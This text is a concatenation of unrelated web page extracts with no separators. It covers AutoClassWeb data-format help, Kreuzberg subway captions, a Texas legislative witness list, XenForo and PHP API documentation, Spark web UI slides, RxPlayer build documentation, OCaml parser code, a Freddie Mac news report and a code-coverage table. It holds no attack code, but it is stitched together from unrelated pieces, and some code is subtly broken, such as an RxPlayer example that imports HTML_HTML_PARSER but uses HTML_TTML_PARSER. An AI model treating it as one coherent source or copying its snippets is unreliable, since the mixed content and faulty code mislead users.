You can also create a shopping list of ingredients you still need to get. Just click any
ingredient in a recipe to add it to the list.


AutoClassWeb (v{{ config.VERSION }}) is a web interface to AutoClass C, an unsupervised Bayesian classification system developped by the NASA.
It utilizes AutoClassWrapper (v{{ config.AUTOCLASSWRAPPER_VERSION }}), a Python wrapper for AutoClass C.
Input data
Input data file is tab-delimited and must comply with the Tab-separated values format.
The first line must be a header with column names.
Avoid accentuated or special characters (e.g.: $
, &
, !
, /
, β
) or space.
These characters will be automatically replaced by _
. Also avoid lengthy column names.
Column names must be unique.
The first column must be gene/protein/object names.
Missing data are allowed and must be encoded with an empty value, i.e. nothing,
(don't use NA
, ?
, None
or ' '
).
Example (missing value for prot1
in exp2
and prot3
in exp1
):
name exp1 exp2 exp3 prot1 0.123 550.61 prot2 0.003 4.966 27.77 prot3 7.723 9345.34


The dots
of Kreuzberg Central
There is nothing West of this stop.
A rare picture without graffiti.
Go
Underground
Here
Kottbusser Tor
STOP!
This is as South as any real Kreuzberger/in would go.
End of Kreuzberg
This is the last stop in Kreuzberg.
If you dare, stay on the train...
... and enter Friedrichshain.


WITNESS LIST Urban Affairs Committee April 24, 2003-8:00A HB 1432 For: Jewell, Kevin (Consumers Union) On: Irvine, Tim (TDHCA - Div. of Manufactured Housing) HB 1788 For: Higgins, Mike (Texas State Association of Fire Fighters) HB 1901 For: Luna, Al (City of Houston) HB 2308 On: Lyttle, Michael (Tx. Dept. of Housing & Community Affairs (TDHCA)) HB 2608 For: Lewis, Stephen W. (City of Houston - Convention and Entertainment Facilities Department) HB 3025 For: Wood, William (City of San Antonio) HB 3158 For: Utter, Tom (City of Corpus Christi) SB 667 For: Brumder, Ellen (Self) Cleaver, Kim (Self)


The Beginner's Guide to Web Development
12 Mar 2016Lesson 1 - HTML & CSS
Where do I begin?
Step 1 - It’s best to start with HTML. If you are completely new to programming head over to Code Academy and start off with their ‘HTML & CSS’ and ‘Make a Website’ courses.
Step 2 - If you are familiar with HTML or if you have completed step 1, go over these three in order:
Don’t just read or skim through these websites. Do the examples yourself and build along with them. If you feel you need more practice (I know I did), head over to The Odin Project and do their project.
Try doing both the easy and the difficult version. Don’t overdo it though. You’ll get more practice later. Trust me for now and do just these.
Estimated Time: 3 weeks or less.
That’s it for HTML and CSS. Next lesson I am going over Javascript and jQuery.


|
XenForo
1.5.12
|
Public Member Functions | |
| getImage ($url, $forceRefresh=false) | |
| getImageById ($imageId) | |
| getImageByUrl ($url) | |
| prepareImage (array $image) | |
| prepareImages (array $images) | |
| refreshImageIfRequired (array $image) | |
| canTriggerImageFetch () | |
| logImageView (array $image) | |
| testImageProxyFetch ($url) | |
| getImagePath (array $image) | |
| pruneImageCache ($pruneDate=null) | |
| pruneImageProxyLogs ($pruneDate=null) | |
| prepareImageProxyConditions (array $conditions, array &$fetchOptions) | |
| getImageProxyLogs (array $conditions=array(), array $fetchOptions=array()) | |
| countImageProxyItems (array $conditions=array()) | |
| getPlaceHolderImage () | |
| logImageReferrer ($imageId, $referrer) | |
| getReferrersForImage ($imageId) | |
| pruneImageReferrerLogs ($pruneDate=null) | |
| Public Member Functions inherited from XenForo_Model | |
| __construct () | |
| setLocalCacheData ($name, $value) | |
| resetLocalCacheData ($name=null) | |
| getModelFromCache ($class) | |
| setAllowCachedRead ($allowCachedRead) | |
| fetchAllKeyed ($sql, $key, $bind=array(), $nullPrefix='') | |
| limitQueryResults ($query, $limit, $offset=0) | |
| addFetchOptionJoin (array &$fetchOptions, $join) | |
| getConditionsForClause (array $sqlConditions) | |
| getOrderByClause (array $choices, array $fetchOptions, $defaultOrderSql='') | |
| addPositionLimit ($table, $limit, $offset=0, $column='position') | |
| prepareLimitFetchOptions (array $fetchOptions) | |
| prepareStateLimitFromConditions (array $fetchOptions, $table='', $stateField='message_state', $userField='user_id') | |
| standardizePermissionsAndUserId (&$permissions, &$userId=0) | |
| standardizeNodePermissionsAndUserId ($nodeId, &$permissions, &$userId=0) | |
| standardizePermissionCombinationIdAndUserId (&$permissionCombinationId, &$userId=0) | |
| standardizeViewingUserReference (array &$viewingUser=null) | |
| standardizeViewingUserReferenceForNode ($nodeId, array &$viewingUser=null, array &$nodePermissions=null) | |
| unserializePermissionsInList (array $items, $serializedKey, $targetKey='permissions') | |
| getContentTypesWithField ($fieldName) | |
| getContentTypeField ($contentType, $fieldName) | |
| getCutOffCondition ($column, $condition) | |
| assertValidCutOffOperator ($operator, $allowBetween=false) | |
Protected Member Functions | |
| _getMaxConcurrentFetches () | |
| _requiresRefetch (array $image) | |
| _failedGetNextCheckDate ($failDate, $failCount) | |
| _fetchAndCacheImage ($url, array $image=null) | |
| _fetchImageForProxy ($url) | |
| _deleteFile (array $image) | |
| Protected Member Functions inherited from XenForo_Model | |
| _getLocalCacheData ($name) | |
| _getDataRegistryModel () | |
| _getCache ($forceCachedRead=false) | |
| _getDb () | |
Additional Inherited Members | |
| Static Public Member Functions inherited from XenForo_Model | |
| static | create ($class) |
| Protected Attributes inherited from XenForo_Model | |
| $_cache = null | |
| $_db = null | |
| $_allowCachedRead = true | |
| $_localCacheData = array() | |
| $_modelCache = array() | |
|
protected |
Deletes an image from the file system image cache
| array | $image |
|
protected |
Based on the last failure and the number of consecutive failures, determine the next time we can refresh a failed image. After 10, we stop trying
| integer | $failDate | Last fail date |
| integer | $failCount | Total failures |
|
protected |
Fetches a remote image, stores it in the file system and records it in the database
| string | $url | |
| array | null | $image |
|
protected |
Fetches the image at the specified URL using the standard proxy config.
| string | $url |
|
protected |
Determines if a refresh is needed
| array | $image |
| countImageProxyItems | ( | array | $conditions = array() | ) |
Counts all image proxy items
| array | $conditions |
| getImage | ( | $url, | |
$forceRefresh = false |
|||
| ) |
Fetches image info from the cache, or requests it if it is not available
| string | $url | |
| bool | $forceRefresh | If true, the image is always refreshed |
| InvalidArgumentException |
| getImageById | ( | $imageId | ) |
Gets image info for an image known by ID
| integer | $imageId |
| getImageByUrl | ( | $url | ) |
Gets the cached image for a URL
| string | $url |
| getImagePath | ( | array | $image | ) |
Gets the path to an image in the file system image cache
| array | $image |
| getImageProxyLogs | ( | array | $conditions = array() , |
| array | $fetchOptions = array() |
||
| ) |
Fetches image proxy items for log display
| array | $conditions | |
| array | $fetchOptions |
| getPlaceHolderImage | ( | ) |
Gets the placeholder image fallback for errors.
| logImageView | ( | array | $image | ) |
Logs an image view
| array | $image |
| prepareImage | ( | array | $image | ) |
Prepares an image for output
| array | $image |
| prepareImageProxyConditions | ( | array | $conditions, |
| array & | $fetchOptions | ||
| ) |
Prepares a collection of image proxy fetching related conditions into an SQL clause
| array | $conditions | List of conditions |
| array | $fetchOptions | Modifiable set of fetch options (may have joins pushed on to it) |
| prepareImages | ( | array | $images | ) |
| array | $images |
| pruneImageCache | ( | $pruneDate = null | ) |
Prunes images from the file system cache that have expired
| integer | null | $pruneDate |
| pruneImageProxyLogs | ( | $pruneDate = null | ) |
Prunes unused image proxy log entries.
| null | int | $pruneDate |
| refreshImageIfRequired | ( | array | $image | ) |
Refreshes the image if required
| array | $image |
| testImageProxyFetch | ( | $url | ) |
Does a test fetch for the specified image for debugging purposes. The image will always be fetched and the temporary file will be removed.
| string | $url |


bool xmlrpc_set_type ( string &$value , string $type )
Sets xmlrpc type, base64 or datetime, for a PHP string value. Warning: This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.
Returns TRUE on success or FALSE on failure. If successful, value is converted to an object.


web UI
Apache Spark 2.4
@jaceklaskowski
/
StackOverflow
/
GitHub
Books:
Mastering Apache Spark
/
Mastering Spark SQL
/
Spark Structured Streaming
## Agenda 1. [Spark Properties](#/spark-properties) 1. [web UI](#/webui) 1. [web UI / Spark Properties](#/webui-spark-properties) 1. [web UI Tabs](#/webui-tabs) 1. [Demo: web UI Walkthrough](#/demo)
## Spark Properties 1. **spark-submit**'s Command-Line Options 1. Spark Properties 1. Environment Variables
(considered obsolete)
1. Switch to [Mastering Apache Spark](http://bit.ly/mastering-apache-spark) * [Spark Properties and spark-defaults.conf Properties File](https://jaceklaskowski.gitbooks.io/mastering-apache-spark/content/spark-properties.html) * [SparkSubmitOptionParser — spark-submit's Command-Line Parser](https://jaceklaskowski.gitbooks.io/mastering-apache-spark/content/spark-submit-SparkSubmitOptionParser.html)
## web UI 1. **web UI** is the web interface of a singe Spark application 1. Monitoring and inspecting Spark jobs and tasks 1. Opens at http://localhost:4040 (by default) 1. One big **SparkListener** 1. Composed of tabs and pages
(on the following slides)
## web UI / Spark Properties 1. Enabled by default unless **spark.ui.enabled** is false 1. Use **spark.ui.port** to set the port number 1. Actual availability and URL depends on the deployment environment (e.g. YARN, Mesos, Standalone, local, Kubernetes)
## web UI Tabs
(1 of 2)
1. **Jobs** shows status of Spark jobs 1. **Stages** shows status of stages of all Spark jobs 1. **Storage** shows RDD size and memory use 1. **Environment** shows the environment 1. **Executors** shows status of executors 1. **SQL** shows status of batch and streaming queries
## web UI Tabs
(2 of 2)
1. Module-specific tabs for **Streaming** and **Thrift Server** 1. Switch to [Mastering Apache Spark](http://bit.ly/mastering-apache-spark) * [Web UI — Spark Application’s Web Console](https://jaceklaskowski.gitbooks.io/mastering-apache-spark/spark-webui.html)
Demo
web UI Walkthrough
## Recap 1. [Spark Properties](#/spark-properties) 1. [web UI](#/webui) 1. [web UI / Spark Properties](#/webui-spark-properties) 1. [web UI Tabs](#/webui-tabs) 1. [Demo: web UI Walkthrough](#/demo)
# Questions? * Read [Mastering Apache Spark](http://bit.ly/mastering-apache-spark) * Read [The Internals of Spark SQL](https://bit.ly/mastering-spark-sql) * Read [The Internals of Spark Structured Streaming](http://bit.ly/spark-structured-streaming) * Follow [@jaceklaskowski](https://twitter.com/jaceklaskowski) on twitter * Upvote [my questions and answers on StackOverflow](http://stackoverflow.com/users/1305344/jacek-laskowski)


What do we do?
We help business scale
Schedule a call to learn more about our services
Unlimited Possibility
Schedule a call to learn more about our services
Ai Powered technology
Take the leap
100 combinations
1000's of colors
See what makes us different


Order Preview
Sub Total
{{ Totals[0][0] }} L.L.
Shipping
{{ Totals[1] }}
Total
{{ Totals[2] }} L.L.
Place Order
Back to My Cart


--- layout: main ---
Use annotations to bind data to views without any view lookup. Sync all view data in one go and keep view states up to date with application state at all times. View holders are bulit in.
Data is bound by annotating a field or a method with any of the BindTo-annotaitons with a provided view id. Passing the instance containing the data and a view finder (an activity or a view containing the view) will fulfill the binding.
Most BindTo-annotations are configured with a default setter that will be used when bound. This can be altered by specifying a custom set-paramter. A custom set-paramter must be backed up by a public setter on the view type used.
Views that are not backed up by an annotation, can be bound to by using a custom view parameter.
Methods can be annotated for dynamic values.
For more advanced bindings, a custom binder can be provided with the @Binds annotation. The binder is mapped to the annotated value by prefixing the the binder property with binds[Property]. In the code sample bindsTitle provides binder for title.
Values are bound in same order as they are declared.
Bind functions can be re-used and composed in chains. This makes it easy to add custom behaviour to a binding, like toggling visiblitiy based on the state of the data.
Witch is designed to bind only values that has changed since last bind. This behaviour can be altered by using the @BindWhen annotation. The default strategy for all values is BindWhen.NOT_EQUALS described below.
If non of the bind strategies provided is enough, a Value-container can be used to get full control over when binding should happen.
Witch will create view holders for all annotated views. This eliminates the need for creating additional view holders for adapter views. Simply use the RecyclerViewBinderAdapter that requires no implementation besides the actual data binding.
Since binder will handle binding of all items of type Post in adapter, it's important to separate binder from item. Binder will be updated with a new item before each bind. This happens under the hood and is handled entirely by Witch.
If your data set consists of multiple types, simply provide multiple binders to adapter.
Enable logging to get readable representations of all targets when bound.


Dear {{vm.externalsite}} user, access to {{vm.externalsite}} services is managed by the ItsYou.Online identity management system. To proceed, please login or register at ItsYou.Online.
Basic info
Invalid first name. Only letters, -, _, '
and spaces are allowed. Names have a
length of 2 to 30 characters.
Name must contain at least 2 characters
Name can contain at most 30 characters
Invalid last name. Only letters, -, _, '
and spaces are allowed. Names have a
length of 2 to 30 characters.
Name must contain at least 2 characters
Name can contain at most 30 characters
Invalid email address
The email address cannot be longer than 80
characters
Invalid email address
Password should contain at least 6 characters
Password should contain at least 6 characters
The passwords do not match
Validation
The code has a length of 6 characters
The code has a length of 6 characters
Invalid sms code
Your phone number has been confirmedPlease use the button or link in the email sent to you to validate your email addressYour email address has been confirmed via email linkValidating your email address can also be done later


Minimal player with Feature selection
Overview
The RxPlayer comes with many features, even some you might never need. For example, you may only care for DASH with TTML subtitles and not about Smooth streaming, VTT or SRT parsing.
Because each implementation has its need, we permit multiple ways to import the player with limited features. This principally leads to a smaller file size.
This customization can be done through two principal ways:
-
by importing a minimal version and then adding only the features your want
-
by setting environment variables at build time
The first solution is the most straightforward and should be used in most usecases. The main disadvantages of this solution are that to reduce file size:
-
you will need to use a module-bundler or minifier which performs tree-shaking, like webpack’s production mode or rollup.
-
you will need to use the package published on npm (as opposed to the git repository directly).
The second solution will always work but needs you to build the bundle yourself through our npm scripts.
Importing a minimal version
How it works
If you imported the RxPlayer library through the npm package (like via the npm install rx-player
command), you can import a minimal version of the player by
importing it from "rx-player/minimal"
:
import MinimalRxPlayer from "rx-player/minimal";
// This player has the same API than the RxPlayer, but with no feature
// (e.g. no DASH, Smooth or Directfile playback)
const player = new MinimalRxPlayer();
// use the regular APIs...
player.setVolume(0.5);
You then will need to add the features you want on it. Those can be accessed
through the path "rx-player/features"
:
// import the DASH and Smooth features, which will be added to the RxPlayer
import { DASH, SMOOTH } from "rx-player/features";
At last you can add those features to the imported RxPlayer class by calling the
special addFeatures
static method, which is only present on the minimal
version of the Player:
// addFeatures takes an array of features as argument
MinimalRxPlayer.addFeatures([DASH, SMOOTH]);
Here is the complete example:
import MinimalRxPlayer from "rx-player/minimal";
import { DASH, SMOOTH } from "rx-player/features";
MinimalRxPlayer.addFeatures([DASH, SMOOTH]);
There is also “experimental” features. Such features can completely change from
one version to the next - unlike regular features which just follows semantic
versioning. This means that you may have to keep the concerned code up-to-date
each time you depend on a new RxPlayer version.
Such features are imported from "rx-player/experimental/features"
instead:
import MinimalRxPlayer from "rx-player/minimal";
import { METAPLAYLIST } from "rx-player/experimental/features";
MinimalRxPlayer.addFeatures([METAPLAYLIST]);
You can of course depend on both experimental and regular features:
import MinimalRxPlayer from "rx-player/minimal";
import { DASH, SMOOTH } from "rx-player/features";
import { METAPLAYLIST } from "rx-player/experimental/features";
MinimalRxPlayer.addFeatures([DASH, SMOOTH, METAPLAYLIST]);
By using the minimal version, you will reduce the final bundle file if tree-shaking is performed on the final code (like in webpack’s production mode).
The key is just to know which feature does what. The next chapter will list and explain the role of every one of them.
List of features
Features, which are variables imported from the "rx-player/features"
path,
are all objects declared in upper-case.
Here is the anotated exhaustive list (notes are at the bottom of the table):
| Feature | Description of the feature |
|---|---|
SMOOTH |
Enable Smooth streaming (HSS) playback |
DASH |
Enable DASH playback |
DIRECTFILE |
Enable playback of “directfile” contents |
EME |
Enable playback of encrypted contents |
NATIVE_TEXT_BUFFER [1] |
Allow to display text tracks through <tracks> elements |
HTML_TEXT_BUFFER [1] |
Allow to display richer text tracks through HTML elements |
IMAGE_BUFFER [1] |
Allow to display thumbnails through the images buffer |
NATIVE_SRT_PARSER [2] |
Parse SRT text tracks for the native text buffer |
NATIVE_VTT_PARSER [2] |
Parse VTT text tracks for the native text buffer |
NATIVE_TTML_PARSER [2] |
Parse TTML text tracks for the native text buffer |
NATIVE_SAMI_PARSER [2] |
Parse SAMI text tracks for the native text buffer |
HTML_SRT_PARSER [3] |
Parse SRT text tracks for the HTML text buffer |
HTML_VTT_PARSER [3] |
Parse VTT text tracks for the HTML text buffer |
HTML_TTML_PARSER [3] |
Parse TTML text tracks for the HTML text buffer |
HTML_SAMI_PARSER [3] |
Parse SAMI text tracks for the HTML text buffer |
BIF_PARSER [4] |
Parse BIF image tracks for the image buffer |
LOCAL_MANIFEST [5] |
Enable playback of “local” contents |
METAPLAYLIST [5] |
Enable playback of “metaplaylist” contents |
Notes:
[1]: You will need to also add at least one parser for this type of buffer
for those features to be useful.
(example: NATIVE_SRT_PARSER
will parse srt subtitles for the
NATIVE_TEXT_BUFFER
)
[2]: Those features will only be used if NATIVE_TEXT_BUFFER
is an added
feature.
[3]: Those features will only be used if HTML_TEXT_BUFFER
is an added
feature.
[4]: This feature will only be used if IMAGE_BUFFER
is an added feature.
[5]: Those type of contents are experimental. They should be imported
from rx-player/experimental/features
.
Examples
To help you choose your features, are some examples that represents common usecases.
unencrypted DASH contents with native webVTT subtitles
import RxPlayer from "rx-player/minimal";
import {
DASH,
NATIVE_TEXT_BUFFER,
NATIVE_VTT_PARSER
} from "rx-player/features";
RxPlayer.addFeatures([DASH, NATIVE_TEXT_BUFFER, NATIVE_VTT_PARSER]);
possibly-encrypted DASH contents with HMTL webVTT and TTML subtitles
import RxPlayer from "rx-player/minimal";
import {
DASH,
EME,
HTML_TEXT_BUFFER,
HTML_VTT_PARSER,
HTML_HTML_PARSER
} from "rx-player/features";
RxPlayer.addFeatures([
DASH,
EME,
HTML_TEXT_BUFFER,
HTML_VTT_PARSER,
HTML_TTML_PARSER
]);
Smooth contents with thumbnails (BIF) support
import RxPlayer from "rx-player/minimal";
import {
SMOOTH,
IMAGE_BUFFER,
BIF_PARSER
} from "rx-player/features";
RxPlayer.addFeatures([ SMOOTH, IMAGE_BUFFER, BIF_PARSER ]);
Building with environment variables
How it works
You can also include only the features you need on the RxPlayer library by building it while having specific environment variables.
The code related to the unwanted features should be removed when the final code is minified (as the corresponding code is made unreachable).
To avoid any conflict with other environment variables, they all are named
RXP_<FEATURE-NAME>
.
For example, the following will remove all code related to Microsoft Smooth Streaming from the build:
RXP_SMOOTH=false npm run build:min
List of environment variables
RXP_SMOOTH
True by default. If set to “false”, all code relative to HSS streaming will be ignored during a build.
RXP_DASH
True by default. If set to “false”, all code relative to DASH streaming will be ignored during a build.
RXP_DIRECTFILE
True by default. If set to “false”, all code relative to directfile streaming will be ignored during a build.
RXP_LOCAL_MANIFEST
False by default. If set to “true”, all code relative to the “local” transport (to be able to play content offline for example) will be included during a build.
RXP_METAPLAYLIST
False by default. If set to “true”, all code relative to metaplaylist streaming will be included during a build.
RXP_EME
True by default. If set to “false”, all code relative to encrypted contents will be ignored during a build.
RXP_NATIVE_TTML
True by default. If set to “false”, all code relative to TTML parsing for native text tracks will be ignored during a build.
RXP_NATIVE_SAMI
True by default. If set to “false”, all code relative to SAMI parsing for native text tracks will be ignored during a build.
RXP_NATIVE_VTT
True by default. If set to “false”, all code relative to VTT parsing for native text tracks will be ignored during a build.
RXP_NATIVE_SRT
True by default. If set to “false”, all code relative to SRT parsing for native text tracks will be ignored during a build.
RXP_HTML_TTML
True by default. If set to “false”, all code relative to TTML parsing for html text tracks[1] will be ignored during a build.
RXP_HTML_SAMI
True by default. If set to “false”, all code relative to SAMI parsing for html text tracks[1] will be ignored during a build.
RXP_HTML_VTT
True by default. If set to “false”, all code relative to VTT parsing for html text tracks[1] will be ignored during a build.
RXP_HTML_SRT
True by default. If set to “false”, all code relative to SRT parsing for html text tracks[1] will be ignored during a build.
RXP_BIF_PARSER
True by default. If set to “false”, all code relative to BIF image parsing will be ignored during a build.
RXP_BAREBONE
If set to true, no feature is activated by default and all other environment variables are considered as false by default (unless set).
For example, to only activate DASH, you could do:
RXP_BAREBONE=true RXP_DASH=true npm run build:min
RXP_ENV
Either “production” or “development”. “production” as a default. In the “development” case:
- logs will be activated
- the code will be less tolerant towards unwanted behavior
- the code will be less optimized
Notes:
[1] html text tracks are tracks which are added to a
DOM element instead of a <track>
(the latter here being called “native”) tag
for a richer formatting.


Image Organizer
Save Changes
Add New Image
Loading...
Delete Image
{binding Name}
Name:
Description:
Uri:


Find Incognito’s purpose is to be informative and active in the sharing of information on censorship globally, with core insight on five countries in particular. The site aims to simulate and share awareness into how people experience the Internet in other countries the United Kingdom being one of them.
The UK was selected due to the project being guided to those within the United Kingdom in particular. The UK is therefore a relatable viewpoint for most viewers of the site.
The remaining four countries include Russia, USA, Brazil, and Vietnam. According to RSF.org they are each amongst the worst in the following categories:
• Harassment • State censorship • Disinformation • Spying surveillance
These countries were selected due to them providing a diverse viewpoint from a range of countries. The countries were selected from statistics found on RSF.org 2020 report that outline censorship of 180 countries worldwide.
These statistics were found here.
Below is the Incognito team


This is a small LSTM recurrent neural network trained on the CASCONet dataset. It generates a conference topic character by character, as popularized by Andrej Karpathy.


let rec transform_actual symbols = function
| Ast.Symbol (s, xs) ->
transform_symbol symbols s xs
| Ast.Modifier (x, m) ->
transform_modifier symbols x m
| Ast.Anonymous gs ->
let gs = map (transform_group symbols) gs in
Anonymous gs
and transform_symbol symbols s xs =
let xs = map (transform_actual symbols) xs in
match Symbols.is_defined s symbols with
| Some _ -> Symbol (s, xs)
| None ->
begin match s, xs with
| ("option" | "ioption" | "boption" | "loption"), [x] ->
Pattern (Option x)
| "pair", [x; y] ->
Pattern (Pair (x, y))
| "separated_pair", [x; sep; y] ->
Pattern (SepPair (x, sep, y))
| "preceded", [o; x] ->
Pattern (Preceded (o, x))
| "terminated", [x; c] ->
Pattern (Terminated (x, c))
| "delimited", [o; x; c] ->
Pattern (Delimited (o, x, c))
| "list", [x] ->
Pattern (List x)
| "nonemptylist", [x] ->
Pattern (NEList x)
| "separated_list", [sep; x] ->
Pattern (SepList (sep, x))
| "separated_nonempty_list", [sep; x] ->
Pattern (SepNEList (sep, x))
| _, _ ->
Symbol (s, xs)
end
and transform_modifier symbols x m =
let x = transform_actual symbols x in
let m = match m with
| Ast.Opt -> Opt
| Ast.Plus -> Plus
| Ast.Star -> Star
in
Modifier (x, m)
and transform_production symbols = map (transform_actual symbols)
and transform_group symbols = function
| [p] -> transform_production symbols p
| _ -> assert false


{%extends "base.html" %}
{%block head%}
{% endblock%}
{%block body%}
Often confused with American sherbet, Italian ice — AKA "water ice" — is fruit-based and made by the same process as standard ice cream (freezing the ingredients while mixing them). It contains no dairy, though sometimes egg white is included. Because of this, it's got an almost velvety-smooth texture and typical flavors include lemon, cherry, blue raspberry, and watermelon.


HTML and CSS go hand-in-hand. Where there's one, you'll find the other. But how can they be explained in a real world, every day scenery? Easy, lets take a look
HTMl is the structure of your website. It's the bones. The walls. It defines the layout that holds everything together. Think of HTML like a builder. They lay the foundations, put up the walls, screw in the roofing, all to give you a structurally sound home.
Now, that builder may be a master at creating a structurally sound house, but has no clue how to style it and make it look appleaing for potential buyers. That's where CSS comes in
CSS is the interior designer of the whole operation. Choosing what colour everything should be, where everything should be positioned, and ultimately, deciding the entire look and feel of the home.
Although HTMl can survive on it's own, it's the relationship it hs with CSS that makes it really stand out.
Rather than reading code, top to bottom, each line in order, control flow is what makes JavaScript special.
Now, with Javascript, code is still run in order from the top to the bottom line, unless the computer runs across something that changes the control flow.
But what are these examples that can change the control flow? Rather than getting all technical right away, let's think of an example.
Imagine you're waking up in the morning and you go into the kitchen to make toast. Pretty simple, right?  Easy.
But wait just a minute. What if the toaster isn't plugged in? What if there's no bread in the house? What if your favourite spread is empty? Well, obviously you're an adult and you can deal with this type if situation but a computer doesn't know what to do?
This is where we can change the control. We can say things like wake up, walk to toaster, if toaster isn't working, check to see if it's plugged in, if not plug in, put bread in toaster, if no bread available, go to the bakery and purchase bread and so on and so on.
The DOM stand for Document Object Model and is a programming interface that can be used on webpages.
When using the DOM, it displays the content of any given webpage in a tree-like structure, which in turn makes it easier to navigate and find the elements one would want to modify or remove.
Using the DOM, you can target specific elements within a webpage with the likes of document.getElementById('InsertNameHere') or document.getElementsByClassName('InsertNameHere').
The document.getElementById('InsertNameHere') would target all IDs with that specific and the same with document.getElementsByClassName('InsertNameHere'), all classes with that specific name would be targeted.
Using this method, once you have targeted the element you want, you can then go ahead ans start to apply any changes you want to it.
Arrays can be considered as list like objects that contain one object but multiple valaues stored inside of it.
Maybe we've got a list of someone's favourite films and rather than writing out each film as it's own variable, we can write it like the following:
Within this array, you can access individual items using bracket notation. As you can see above, the second set of code returns 'Inglorious Basterds'.
But hang on? You asked for the second item of the array and it returned the third and last item of the array? Yes, to us that's true, but with computer talk, counting starts at 0.
And what about objects?  Take a look at the image below for more info:
And just like with arrays, we can access certain information of an object by passing through the variable name followed by the property name. Which is what you can see the second bit of code does in the image abvove.
Functions are a core concept of JavaScript. They're a block of code designed to complete a particular task and can be called as many times as you like. Which saves you having to rewrite code later on.
If you need to change to a function, it only needs to be updated once and it'll aplply to all instances of that function, which again, saves you having to rewrite multiple lines of code.


Exclusive: Freddie Mac hires McKinsey to review capital as government overhaul begins
Housing giant Freddie Mac has hired management consultants McKinsey & Company to advise the firm on capital management ahead of a potential exit from government control, a spokesman said Thursday.
WASHINGTON: Housing finance giant Freddie Mac has hired management consultants McKinsey & Company to advise the firm on capital management ahead of a potential exit from government control, a spokesman said Thursday.
"After a competitive ... process, Freddie Mac retained McKinsey to conduct a gap assessment of our capital management capabilities and develop a roadmap to address any issues. This four-month engagement will begin in December," said a Freddie Mac spokesman in a statement to Reuters.
The hiring of McKinsey, which did not respond to requests for comment, suggests Freddie is taking significant steps to prep for a potential escape from a decade of government control. Freddie and fellow government-sponsored enterprise Fannie Mae were bailed out in 2008 following the subprime mortgage crisis.
But the Trump administration has vowed to end that arrangement, with the Treasury Department offering in September a set of recommendations for ending government control of the pair.
Mark Calabria, director of the Federal Housing Finance Agency that oversees the two, has emphasized that the companies need billions of dollars in additional capital before they can safely be freed from a government lifeline. The pair were only recently permitted to begin rebuilding their reserves, as the FHFA announced in September they could retain up to US$45 billion in earnings.
The FHFA is also seeking an outside adviser to build a "roadmap" for recapitalizing the firms, in addition to establishing new capital standards for them.
(Reporting by Pete Schroeder, Editing by Franklin Paul and Jonathan Oatis)


--- title: Hunt the Wumpus layout: game basic: atari program: WUMPUS source: bas/atari/WUMPUS.bas help: bas/atari/WUMPUS.txt ---
Hunt the Wumpus
Written by Gregory Yob, from the Atari Archives.


Below are all the tests for the IntercoolerJS library. New tests should follow the existing templates


Now, this page is a Steroids-style resource. It is generated from two files by the Steroids NPM:
app/views/steroidsTutorial/index.html
is wrapped inside
app/views/layouts/steroidsTutorial.html
The result is a single HTML file, which you can find at
dist/views/steroidsTutorial/index.html
When you run $ steroids connect (or press enter to update), layouts are applied in the above fashion to all applicable HTML files in the app/views/ folder.
After this, the www/ and app/ folders are combined into the dist/ folder. The contents of the dist/ folder are then pushed to connected devices.
You also enabled tabs by uncommenting those lines in config/application.coffee.
The Welcome tab now shows our previous www/index.html document, and the Internet tab shows Google's front page.
In addition, this page is served from http://localhost (instead of via the file:// protocol), which is part of our secret sauce. You can still use the file:// protocol (that allows e.g. easy cross-domain AJAX) by just specifying the file without the http://localhost/ prefix (we've done this for the Welcome tab).
One instant benefit of localhost is that if you look at the app/views/layouts/steroidsTutorial.html file, you'll notice that we don't have to use explicit relative paths. We can always use /stylesheets/applcation.css instead of ../../stylesheets/application.css. The same applies for images and other assets.
We can also tell that you are currently viewing this document on an Android device. How do we know?
Instead of relying on JavaScript to detect the user agent, there are two nearly-identical versions of the app/views/steroidsTutorial/index.html file: a regular one and index.android.html. When serving your app from localhost, Steroids automatically serves the correct file based on your platform.
Modify the index.html file. As you can see, changes there do not affect your app on Android devices.
Note how this page sets the native navigation bar title to "PhoneGap on Steroids". Find out how this is done by looking at this document's source (at app/views/steroidsTutorial/index.html).
Now, let's dig deeper by opening an another document:


[ all classes ]
[ org.dashbuilder.displayer.client.widgets ]
Coverage Summary for Package: org.dashbuilder.displayer.client.widgets
| Package | Class, % | Method, % | Line, % |
|---|---|---|---|
| org.dashbuilder.displayer.client.widgets | 52.5% (32/ 61) | 37.5% (154/ 411) | 62.2% (1307/ 2101) |
| Class | Class, % | Method, % | Line, % |
|---|---|---|---|
| DisplayerTypeSelectorTest | 100% (1/ 1) | 100% (4/ 4) | 100% (10/ 10) |
| DisplayerEditorStatus | 0% (0/ 2) | 0% (0/ 5) | 0% (0/ 14) |
| RendererSelectorRadioListView | 0% (0/ 2) | 0% (0/ 12) | 0% (0/ 24) |
| DisplayerSettingsJSONSourceViewer | 0% (0/ 1) | 0% (0/ 4) | 0% (0/ 6) |
| DisplayerSettingsEditor | 80% (4/ 5) | 53.8% (14/ 26) | 87% (194/ 223) |
| DisplayerSubtypeSelectorTest | 100% (1/ 1) | 100% (6/ 6) | 100% (26/ 26) |
| DisplayerTypeSelectorView | 0% (0/ 3) | 0% (0/ 9) | 0% (0/ 33) |
| DataSetLookupEditorTest | 100% (5/ 5) | 100% (25/ 25) | 100% (285/ 285) |
| DisplayerEditor | 100% (2/ 2) | 46.2% (18/ 39) | 50.9% (113/ 222) |
| DisplayerEditorView | 0% (0/ 1) | 0% (0/ 20) | 0% (0/ 53) |
| DisplayerSettingsEditorTest | 100% (2/ 2) | 100% (12/ 12) | 100% (197/ 197) |
| DisplayerError | 0% (0/ 1) | 0% (0/ 3) | 0% (0/ 7) |
| RendererSelector | 100% (3/ 3) | 87.5% (7/ 8) | 91.9% (34/ 37) |
| DisplayerSettingsEditorView | 0% (0/ 1) | 0% (0/ 28) | 0% (0/ 95) |
| DisplayerHtmlEditorView | 0% (0/ 1) | 0% (0/ 9) | 0% (0/ 38) |
| DisplayerTypeSelector | 100% (1/ 1) | 57.1% (4/ 7) | 90.3% (28/ 31) |
| RendererSelectorTabListView | 0% (0/ 2) | 0% (0/ 11) | 0% (0/ 27) |
| DisplayerViewer | 0% (0/ 3) | 0% (0/ 15) | 0% (0/ 64) |
| DisplayerSubtypeSelector | 100% (1/ 1) | 80% (4/ 5) | 92.6% (25/ 27) |
| DisplayerEditorPopup | 0% (0/ 5) | 0% (0/ 22) | 0% (0/ 51) |
| RendererSelectorListBoxView | 0% (0/ 2) | 0% (0/ 11) | 0% (0/ 18) |
